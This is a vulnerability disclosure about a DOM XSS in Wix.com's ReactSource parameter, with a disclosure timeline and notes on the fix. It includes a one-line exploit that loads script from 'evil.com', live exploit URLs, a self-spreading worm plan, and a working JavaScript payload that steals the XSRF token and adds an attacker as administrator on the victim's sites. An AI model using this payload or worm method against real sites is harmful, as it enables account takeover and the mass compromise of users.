Wix.com, a hosting provider which claims to host millions of websites, contains an XSS that leads to administrator account takeover and could be used to create a Wix website worm. Learn more about this vulnerability below.

Target

From the company’s literature:

“Wix.com is a leading cloud-based development platform with millions of users worldwide. We make it easy for everyone to create a beautiful, professional web presence.”

It appears to be a modern-day GeoCities. It claims 87 million registered users and over 2 million subscriptions, which would make it one of the top providers in the world.

Vulnerability

Wix.com has a severe DOM XSS vulnerability that allows an attacker complete control over any website hosted at Wix. Simply by adding a single parameter to any site created on Wix, the attacker can cause their JavaScript to be loaded and run as part of the target website.

TL;DR:

Add: ?ReactSource=http://evil.com to any URL for any site created on wix.com.

Make sure evil.com hosts a malicious file at /packages-bin/wixCodeInit/wixCodeInit.min.js

Here’s an example exploit occurring, causing a reflected payload to occur:

Part 1 - Executing a Reflected DOM XSS

These two examples are live as of writing (November 2, 2016):

On wixsite domain: http://matt4592.wixsite.com/music?ReactSource=http://m-austin.com

On a custom domain: http://www.trilltea.com/?ReactSource=http://maustin.net



Part 2 - Worming the Website with a Reflected-to-Stored DOM XSS

All Wix websites use a wixsite.com subdomain or a custom domain. An XSS against either of these will not allow access to the main wix.com domain and its cookies. To gain access to administrator session cookies or otherwise get access to administrator resources, an attacker needs to steal session cookies they’ll need a separate vulnerability.

To work around this, the attacker can use the template demos, which are hosted on wix.com and contain the vulnerability. In this example, the Wix blank template is triggered on the main wix.com domain: http://www.wix.com/demone2/-start-from-scratch?ReactSource=http://maustin.net

With the XSS on wix.com the attacker can do anything as the current user. This includes turning the attack into a worm, using the following steps:

Attacker creates a Wix website with the DOM XSS in an <iframe>. A Wix user visits the infected website. The infected website uses a similar issue in editor.wix.com to edit all of the current user's websites and inject the DOM XSS in an <iframe>. The site infects any logged in Wix user that views the current user’s website and adds the <iframe> with the same XSS to their websites. All the websites of the current user now host the malicious content and serves it to all visitors. Goto #2.



Impact

Administrator control of a wix.com site could be used to widely distribute malware, create a dynamic, dsitributed, browser-based botnet, mine cryptocurrency, and otherwise generally control the content of the site as well as the users who use it.

Some specific examples of that might include:

Change the content of a hosted website for targeted users.

Challenge the user for their Wix username and password.

Challenge the user for their Facebook or Twitter username and password (with convincing profile photo.)

Attempt to trick users of the website into downloading malware and executing it (e.g. malicious PDF.)

Generate ad revenue by inserting ads into website pages.

Spoof bank web pages and attempt to get users to log in.

Make it difficult or impossible to find and delete the infection.

Even make themselves an administrator of the website (see Appendix.)



Credit

Discovered by Matt Austin, Contrast Security

< https://maustin.net/>





Timeline

Oct 10: Creates Support ticket requesting security contact

Oct 11: Reach out to @wix on twitter to find a security contact. Replied to use standard support. Gave details in created ticket. Ticket page no longer works. https://www.wix.com/support/html5/contact.

Oct 14: Received standard “We are investigating the matter and will follow up as soon as possible” reply from Wix.

Oct 20: Reply to ticket requesting an update. (no response)

Oct 27: Second request for an update. (no response)

Oct 28: New direct e-mail to support@wix.com and security@wix.com with details. Here’s the response from security.

Hello xxxxxxxxxx,

We're writing to let you know that the group you tried to contact (security) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren't able to post:

* You might have spelled or formatted the group name incorrectly.

* The owner of the group may have removed this group.

* You may need to join the group before receiving permission to post.

* This group may not be open to posting.

If you have questions related to this or any other Google Group, visit the Help Center at https://support.google.com/a/wix.com/bin/topic.py?topic=25838.

Thanks,

wix.com admins

Full Vulnerability and Exploit Description

Step 1: Get the parameter from the URL

This is the first piece of vulnerable code flow. It creates a function for getting a URL parameter.

var queryUtil = (function () {

...

function getParameterFromQuery(query, name) {

name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');

var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');

var results = regex.exec(query);

return results && results[1] ? decodeURIComponent(results[1]).replace(/\+/g, ' ') : '';

}

...

return {

getParameterByName: getParameterFromQuery.bind(null, window.location.search)

...

};

}());





Step 2: Create baseVersionOverride for getFullRjsConfig

Here, the untrusted URL parameter is stored in a configuration object.

var config = getFullRjsConfig(getViewerRjsConfig, packagesUtil, {

baseVersionOverride: queryUtil.getParameterByName('ReactSource'),

artifactName: 'santa'

},serviceTopology);



...

requirejs.config(config);





Step 3: Set config.baseUrl

The app then detects that the user provided a new ReactSource to override the default location.

function getFullRjsConfig(rjsConfigFunc, packagesUtil, artifactData, serviceTopology) {

//Call with serviceTopology and all arguments after

var config = rjsConfigFunc.apply(null, Array.prototype.slice.call(arguments, 3));

config = packagesUtil.buildConfig(config);

...

var isAddress = RegExp.prototype.test.bind(/^https?:\/\//);

config.baseUrl = isAddress(artifactData.baseVersionOverride) ?

artifactData.baseVersionOverride :

joinURL(artifactPath, artifactData.baseVersionOverride);

...

return config;

}





Step 4: Set call requirejs.config with our new config.baseUrl

The RequireJS library is called with the tainted configuration. RequireJS is a JavaScript file and module loader.

var config = getFullRjsConfig(getViewerRjsConfig, packagesUtil, {

baseVersionOverride: queryUtil.getParameterByName('ReactSource'),

artifactName: 'santa'

},serviceTopology);

...

requirejs.config(config);





Step 5: requirejs loads external resources via config.baseUrl





Step 6: requirejs loads external resources via config.baseUrl

RequireJS loops through each of the resources it needs and calls something like:

url = config.baseUrl + url;

…

var node = document.createElement('script');

…

node.src = url;

…

head.appendChild(node);

Step 7: Host a file that the all wix pages eventually load

Put a payload into the file /packages-bin/wixCodeInit/wixCodeInit.min.js off of your evil domain.

DOM XSS Payload

The following example payload adds the attacker as an administrator to all the users’ sites for the given domain:

xsrf = document.cookie.match(/XSRF-TOKEN=(.*?);/)[1]; // get the csrf token

$.getJSON('/_api/wix-dashboard-ng-webapp/metaSite', function(data){ // get all the current users sites

data.payload.map(function(site){

$.ajax({

type: 'POST',

url: '/_api/wix-dashboard-ng-webapp/authorization/site/'+site.metaSiteId+'/invite',

data: JSON.stringify({email: "hacker@l33t.com", role: "contributor"}),

headers: { "x-xsrf-token": xsrf},

contentType: "application/json;charset=UTF-8",

success: function(data){

console.log(data)

}

});

});

})

November 3, 2016 - Vulnerability Fixed

GOOD NEWS - Sometime between Noon and 3:00 PM PST that same day, Wix appears to have resolved the problem!

MORE GOOD NEWS - Wix now has a bug bounty program in place to help avoid issues like this in the future. Ya!

Prior to November 2nd, Wix did not have a public record of a bug bounty program in existence. As shown by the timeline (recorded in our blog post here), our researchers searched and reached out to Wix using multiple channels over the course of three weeks with no acknowledgement or response. While they appear to have fixed the problem, they have still not contacted our researchers.

Please take a look at the Wix update to see how they resolved this issue:

https://gist.github.com/matt-/fee2baf1811e8e4355be8b53ee48af81/revisions?diff=split

https://static.parastorage.com/services/santa/1.1800.21/app/main-r.min.js

vs

https://static.parastorage.com/services/santa/1.1800.22/app/main-r.min.js

WIX replaced all instances of:

queryUtil.getParameterByName('ReactSource')

with:

window.santaBase

This means that the base script URLs can no longer be set by the 'ReactSource' param.

A video with a simple alert box showing that the DOM XSS vulnerability enabled access: https://www.youtube.com/watch?v=mACH0o2d8J4&feature=youtu.be